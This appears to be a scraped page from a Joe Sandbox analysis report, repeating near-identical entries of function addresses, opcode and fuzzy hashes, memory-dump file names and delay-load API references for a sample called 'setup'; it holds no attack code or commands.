Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 306c10e464f859b7e0150e79800cbdd85aecefc6236e53504b813444c33cd216
Instruction ID: a367610e4cb8447c1f294dda737ed4605019a30d57859eb6e05bcbd40827a8e4
Opcode Fuzzy Hash: 306c10e464f859b7e0150e79800cbdd85aecefc6236e53504b813444c33cd216
Instruction Fuzzy Hash: 00B01296A6D0026C314871056E07F37031CC4D7B11730C41FB50BD25C0D68C5C0A043E

Function 004AD942 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fa9d7526c0f4e0e456d1838802f06f9d5fb60ca5381c554dfba366d19187c436
Instruction ID: aadb12e86e5a0c9a6f4721fcec62f2f0802d9bd33fd0066cd2038986e84bbb84
Opcode Fuzzy Hash: fa9d7526c0f4e0e456d1838802f06f9d5fb60ca5381c554dfba366d19187c436
Instruction Fuzzy Hash: 2EB012A5A6C0016D314D71056F07F37039CC4D6B11B30841FB10BD24C0D58C5C06043E

Function 004AD906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b94454b7656d170657d04883443d6cc3a5d001c07f7b6f1ad01f8e9abf83fba4
Instruction ID: 6d6dd040dbb69e5d713fdee459bb4826868282ccd69a90547009466cdae7efdd
Opcode Fuzzy Hash: b94454b7656d170657d04883443d6cc3a5d001c07f7b6f1ad01f8e9abf83fba4
Instruction Fuzzy Hash: 4DB01295A6E0016C314871056E07F37031DC4D7B11B30C41FB54BD24C0D58C5C05043E

Function 004AD910 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3896bb7e7f31506624c93a3c0d2afc00e0aba2d7f2ad53028f702b2794682636
Instruction ID: 7443efe7aacbd223bd407c6c588c15bb3ccc6a8d3c5706e8bc5d85a4e6e0e55b
Opcode Fuzzy Hash: 3896bb7e7f31506624c93a3c0d2afc00e0aba2d7f2ad53028f702b2794682636
Instruction Fuzzy Hash: ACB012A5A6D1016C318872056E07F37031DC4D6B11B30851FB14BD24C0D58C5C45043E

Function 004AD92E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 68a1142cfa0d3d5f3b8c6cbe840de20fa6ef4d36bf817414eb52bcccb3c1b558
Instruction ID: d3a68db997f09a5c951bd477ac4230f27ee9284209b477198386a892aecddfdc
Opcode Fuzzy Hash: 68a1142cfa0d3d5f3b8c6cbe840de20fa6ef4d36bf817414eb52bcccb3c1b558
Instruction Fuzzy Hash: 3AB01295A6D0016C314971156E07F37035CC4D7B11730C41FB60BD24C0D68C5C05043E

Function 004AD924 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dc1b969927ad957fcced996e3ee08d7e50ae955a4ee088cba5ed9b433aabc07a
Instruction ID: ff3db504e7243022f668432f7b94e5b969fa94e377a73dbe4616b4e1ebaf6599
Opcode Fuzzy Hash: dc1b969927ad957fcced996e3ee08d7e50ae955a4ee088cba5ed9b433aabc07a
Instruction Fuzzy Hash: 30B01295A7D0016C314871056E07F37035DC8D6B11B30841FB14BD24C0D58C5C05043E

Function 004ADACF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b76369671d416b31d09e55b3954be89f62a6e7f630f19917e977815ceebacbf3
Instruction ID: 0584c82281dc1c0b3c399de3e133c51b544c3572f816e350ca2f9e6f17802147
Opcode Fuzzy Hash: b76369671d416b31d09e55b3954be89f62a6e7f630f19917e977815ceebacbf3
Instruction Fuzzy Hash: 73B012A666D001BC314871066D03F3B025CC0D5B11730C11FB50BC1455D98C4D05443E

Function 004ADAD9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a6762b5996953c462c79699bd614d3b67a988b2c2f478d9c7ceb13aabf0d65a0
Instruction ID: 459080646a5d5a6af9add71954d175e394d76849697b22e84cf5fb525b864272
Opcode Fuzzy Hash: a6762b5996953c462c79699bd614d3b67a988b2c2f478d9c7ceb13aabf0d65a0
Instruction Fuzzy Hash: 50B0129666C0026C314871066D03F3F025CC0DAB11730C51FB20BC1444D98C4C0A443E

Function 004ADB01 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 85e8e9ddb1cb9ace828572a2f1ea754e2d84f86afafd8fd1f5eacff5595aab86
Instruction ID: 4e7f104aab468363b488a58409fae97e0310c5fb712dc46ef2a2fb76fbac42cc
Opcode Fuzzy Hash: 85e8e9ddb1cb9ace828572a2f1ea754e2d84f86afafd8fd1f5eacff5595aab86
Instruction Fuzzy Hash: 2AB012966AC1056C314871066D03F3B025CD0D5B11730811FB10BD1444D98C4D05453E

Function 004ADBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADBD5

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f9d5d264c07d7e3511ba94adb600a3f69118cccdc97435ea00f451f5ee8fdc12
Instruction ID: 5e6d7c821811004ede0a15e97cc9726335a9fae1297a7403c8ac87dc3f36111c
Opcode Fuzzy Hash: f9d5d264c07d7e3511ba94adb600a3f69118cccdc97435ea00f451f5ee8fdc12
Instruction Fuzzy Hash: E5B0129A77C10A7D324811412D07E77022CC0D5F10730812FB207D04409E8C5C49443E

Function 004ADBDE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADBD5

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0f5952db20ac67c846d54fc86edd7e8dc6309eb071560f7b9cc49aa35a7a5435
Instruction ID: 9aaa43cff15b445c73d8b6b6acfdea7f16acc9210a33544af9520d7c77832c11
Opcode Fuzzy Hash: 0f5952db20ac67c846d54fc86edd7e8dc6309eb071560f7b9cc49aa35a7a5435
Instruction Fuzzy Hash: 5DB0129A76C0056C314851552D07F37022CD0D9F10730802FB31BC1940DE8C9C09443E

Function 004ADBE8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADBD5

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 62d42d384468667a5a3c8ca2a911326a376be6b8588f9ddf0756db1e6be79876
Instruction ID: 5eb8e9a4f61728d379278a82dd08696df6120a67206fe96b7c7f6b4d80eb34e9
Opcode Fuzzy Hash: 62d42d384468667a5a3c8ca2a911326a376be6b8588f9ddf0756db1e6be79876
Instruction Fuzzy Hash: C2B0129A76D006BD314C51452D07F77023CC0D9F10730C01FB60BC2440DE8C5C09443E

Function 004ADBFC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADBD5

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2ce07584c947f4a47f56e605f51dc8e272575ff69e6bb4238b6912fbbb5de997
Instruction ID: 2b0995b8ad053eee0337a0ae49b6812f38019bc02cb0c7f83597f7038ee345d3
Opcode Fuzzy Hash: 2ce07584c947f4a47f56e605f51dc8e272575ff69e6bb4238b6912fbbb5de997
Instruction Fuzzy Hash: 29B0129A76C0066E314C51452E07F77022CC0D9F10730C01FB30BC1440DE8C5C06443E

Function 004ADC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADC36

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4e46e548a9cfbf84e0374f30f0105fb40b2cd86835ef92f37b56973772811616
Instruction ID: 74f3d7cab0477637e17c03f5cdd3672b6ca7a567766223c1ccde1f51218b2b33
Opcode Fuzzy Hash: 4e46e548a9cfbf84e0374f30f0105fb40b2cd86835ef92f37b56973772811616
Instruction Fuzzy Hash: 46B0129DA7C2056C314C71056E03F37023CC0D5F20730851FB20BD5440D6CC5C05403E

Function 004ADC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADC36

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2b56c3891267d14ba200402f96218da4ff19dc5d005c0708d590a93fd7270b9b
Instruction ID: 08fd91d3b4b0b49697cf605069cd9052c2849d9e565c18e1e686abaf2a5a2e98
Opcode Fuzzy Hash: 2b56c3891267d14ba200402f96218da4ff19dc5d005c0708d590a93fd7270b9b
Instruction Fuzzy Hash: AAB0129DA6D1056C324C71056E03F37023CC0DAF20730C51FB60BD5440D6CC5C05403E

Function 004ADC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADC36

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3eb6538e09ae432d09ec67f03649fea0022d6fea8597ac00df00e060c9c1523e
Instruction ID: ef40e07ae2f36b055ba4a830824199336dac5ec0f1fc3e1aeb9a8b1eab311b81
Opcode Fuzzy Hash: 3eb6538e09ae432d09ec67f03649fea0022d6fea8597ac00df00e060c9c1523e
Instruction Fuzzy Hash: 22B0129DA6C2097C314C31016F03E37023CC1D5F20730861FB207E444096CC5C45503E

Function 004AD8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 83f0e29ba82ef20d0b3ca83b7c0dbee78989856b21982b5aee9bd08994ecdff2
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: 83f0e29ba82ef20d0b3ca83b7c0dbee78989856b21982b5aee9bd08994ecdff2
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
